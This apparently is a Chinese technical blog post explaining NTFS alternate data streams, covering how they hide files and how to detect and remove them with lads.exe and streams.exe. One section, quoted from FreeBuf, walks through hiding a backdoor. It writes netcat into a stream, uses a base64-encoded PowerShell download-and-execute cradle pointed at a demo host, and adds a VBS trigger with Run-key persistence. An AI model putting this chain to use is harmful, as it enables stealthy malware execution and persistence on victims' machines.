脑洞大开 - NTFS交换数据流ADS

今天偶然间看到的,查了一下虽然不是什么新鲜的东西,但着实让我吃了一惊。

以下内容多数摘自网络。

什么是NTFS交换数据流(ADS)

NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息,虽然我们无法看到数据流文件,但是它却是真实存在于我们的系统中的。创建一个数据交换流文件的方法很简单,命令为”宿主文件:准备与宿主文件关联的数据流文件”。

以下一段摘自FreeBuf:

举个例子,我现在有一个文本文件,名称为test.txt,文本内容为”Hello, world!”。其MFT记录结构如图:

$FILE_NAME属性包含了该文件名test.txt。 $DATA属性则包含了内容 “Hello, world!”。这里说个题外话,由于该内容长度小于1kb,所以文件的内容就直接存储在MFT记录里面了(称为resident)。如果内容长度大于1kb,文件内容会被存储在别的地方 (称为non-resident),在这种情况下$DATA属性只包含其存储地址。这里“Hello, world!”很短,所以直接保存在了MFT记录里面。

很多人想当然的认为一个文件只能有一个$DATA属性,这是错误的。在NTFS中,一个文件可以有多个$DATA属性。比如我现在想给test.txt加入一个名为ThisIsAnADS的$DATA属性:

1
echo Hello, freebuf! > test.txt:ThisIsAnADS

那么,该文件的MFT记录就变成了下图所示:

你可能发现了这两个$DATA属性还是略有不同的,第一个没有名称,而第二个有名称(ThisIsAnADS)!通常人们称第一个为主数据流(primary data stream )。主数据流在文件创建的同时就被创建了,并且默认没有名称,所以也叫做未名数据流 (unnamed data stream)。第二个是我们后来创建的,并且赋予了名称(ThisIsAnADS)。这个就是供选数据流 (alternate data stream,ADS)。绝大多数用户只会和主数据流打交道,从某种意义上来说,ADS对用户是隐藏的。用常规的dir命令和windows文件管理器都没法发现ADS。而当我们查看文件内容的时候也仅仅显示主数据流的内容。

NTFS交换数据流隐藏文件实例

隐藏文本

在命令行下,我们敲:

1
echo 666666>>suzhu.txt:stream.txt

这里的suzhu.txt可以是目前不存在的文件,也可以是现有的文件。如果我们敲命令之前没有suzhu.txt,那么我们的文件夹下就多出了一个叫suzhu.txt的空白文件。

查看我们的写入的文本也简单,敲命令:

1
notepad suzhu.txt:stream.txt

删除文件也简单,直接把suzhu.txt删掉,寄生的stream.txt也被删掉了。

此处注意,如果我们当时创建流文件时敲的是:

1
echo 666666>>:stream.txt

那当我们需要删除这个文件的时候只能把这整个文件夹删除。

**P.S.**另外,网上说此时我们可以敲notepad YOUR_FOLDER\:stream.txt打开这个流文件,但我没有成功。

隐藏文件

和上面差不多,我们以一张20MB,名字为aaa.jpg的图片为例。

我们敲命令:

1
type aaa.jpg>>suzhu.txt:aaa.jpg

删掉原来的aaa.jpg,我们多了一个叫suzhu.txt的空文件。右键查看这个空文件的属性,发现文件的大小为0字节,但占用空间为20MB,说明交换数据流还是会占空间的。

我们用画板打开这张图片:

1
mspaint suzhu.txt:aaa.jpg

删除文件方法同上。

隐藏后门(此段来自FreeBuf)

既然ADS不被大多数用户所知,而且常规的系统命令和文件管理器都检查不到其存在,那么我们可以把后门放在ADS以起到隐藏的目的。让我们先试着把netcat的二进制内容存到test.txt的一个叫nc.exe的ADS里面:

1
type nc.exe > test.txt:nc.exe

可以写入,没有问题。试着执行之:

1
2
c:\test>start test.txt:nc.exe
Access is denied.

但是执行不成功。。。因为从windows xp以后微软就禁止用户从ADS里执行程序了。写入,读出操作都可以,但是不允许执行。

换一个思路,既然允许写和读,那么我们可以在ADS里面写入脚本,然后用脚本解释器(Wscript.exe)来运行该脚本。Wscript.exe默认支持js, vbs等,但是我更偏爱powershell的简单高效。所以准备在一个文件中写入2个ADS,一个包含powershell脚本后门,用于从网上下载和执行恶意脚本。一个包含VBS脚本,用于触发powershell脚本。具体设计如下图,包括3部分:

  1. 恶意脚本:一个提供真正的恶意功能的powershell脚本,比如反弹cmd shell等等,具体如何用powershell实现远控功能,请参照https://github.com/mattifestation/PowerSploit。 这里为了演示的目的,我们的”恶意脚本”只会弹出一个对话框,显示”Infected”。该文件名为malware.ps1,存放于 http://127.0.0.1:8123/malware.ps1

  2. 下载器:该下载器也是一段powershell脚本,用来下载并执行恶意脚本。其实就一句话 “IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8123/malware.ps1'));” 我们把它base64编码[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8123/malware.ps1'));"))得到base64编码结果。然后把 powershell.exe -ep Bypass -noexit -enc [base64编码结果] 写入test.txt:1

  3. 触发器:该触发器是一段VB脚本,会开一个cmd运行test.txt:1 里的脚本。由于我们要用wscript.exe 来运行这个ADS, 而wscript.exe会检查脚本文件的后缀名,所以这个ADS的命名必须以.vbs结尾。 具体内容为 Dim objShell:Set objShell = WScript.CreateObject(“WScript.Shell”):command = “cmd /C for /f “”delims=,”” %i in (C:\test\test.txt:1) do %i”:objShell.Run command, 0:Set objShell = Nothing,将其写入test.txt:2.vbs

用wscript.exe运行一下,成功!进程管理器显示该进程名为powershell.exe

当然,还可以把wscript.exe test.txt:2.vbs 放在注册表与自动启动相关的键值里,比如HKCU\Software\Microsoft\Windows\CurrentVersion\Run 等,以实现开机自启动。

如何检测和清除NTFS-ADS隐藏的文件

简而言之,用软件。

下载: https://pan.baidu.com/s/1qYnTbIW 密码: v2bq

lads.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
* 将这lads.exe这个程序放置需要检测的分区根目录中,
* 不添加任何参数直接运行,就是检测根目录中所有文件,
* 如果使用"lads.exe test /S",就是递归检测test以及test下所子目录。
* 下面这条命令是检测根目录以及所有子目录。
*/
E:\>lads.exe /S

Scanning directory E:\ with subdirectories

size ADS in file
---------- ---------------------------------
12 E:\:123.txt
346112 E:\:aaa.exe
144588 E:\:bbb.jpg
7 E:\123.txt:222.txt
346112 E:\123.txt:aaa.exe
72294 E:\123.txt:bbb.jpg
72294 E:\aaa.exe:bbb.jpg
12 E:\test\:123.txt
72294 E:\test\:bbb.jpg

1053737 bytes in 9 ADS listed

/*可以看到我们实验中添加的所有交换数据流一览无遗*/

使用streams.exe这个程序来清除这些交换数据流,根据上面检测的输出信息,我将streams.exe放在E盘的根目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
* 首先尝试清除一下E盘根目录上面寄生的交换数据流,
* -d后面接目录。
*/
E:\>streams.exe -d E:\

E:\:
Deleted :123.txt:$DATA
/*
* 这里出现了一个错误,因为这个:aaa.exe现在正在运行
* 对于这种情况,需要先结束掉这个:aaa.exe进程才能清除。
*/
Error deleting :aaa.exe:$DATA:
?????
Deleted :bbb.jpg:$DATA

/*可以添加-s参数来一次性递归清除E盘下所有寄生的交换数据流文件(慎用,尤其是对系统盘一定不要随便使用递归清除,系统本身的一些数据流也会被一起清除掉)*/
E:\>streams.exe -s -d E:\

E:\123.txt:
Deleted :222.txt:$DATA
Deleted :aaa.exe:$DATA
Deleted :bbb.jpg:$DATA
E:\aaa.exe:
Deleted :bbb.jpg:$DATA
E:\test:
Deleted :123.txt:$DATA
Deleted :bbb.jpg:$DATA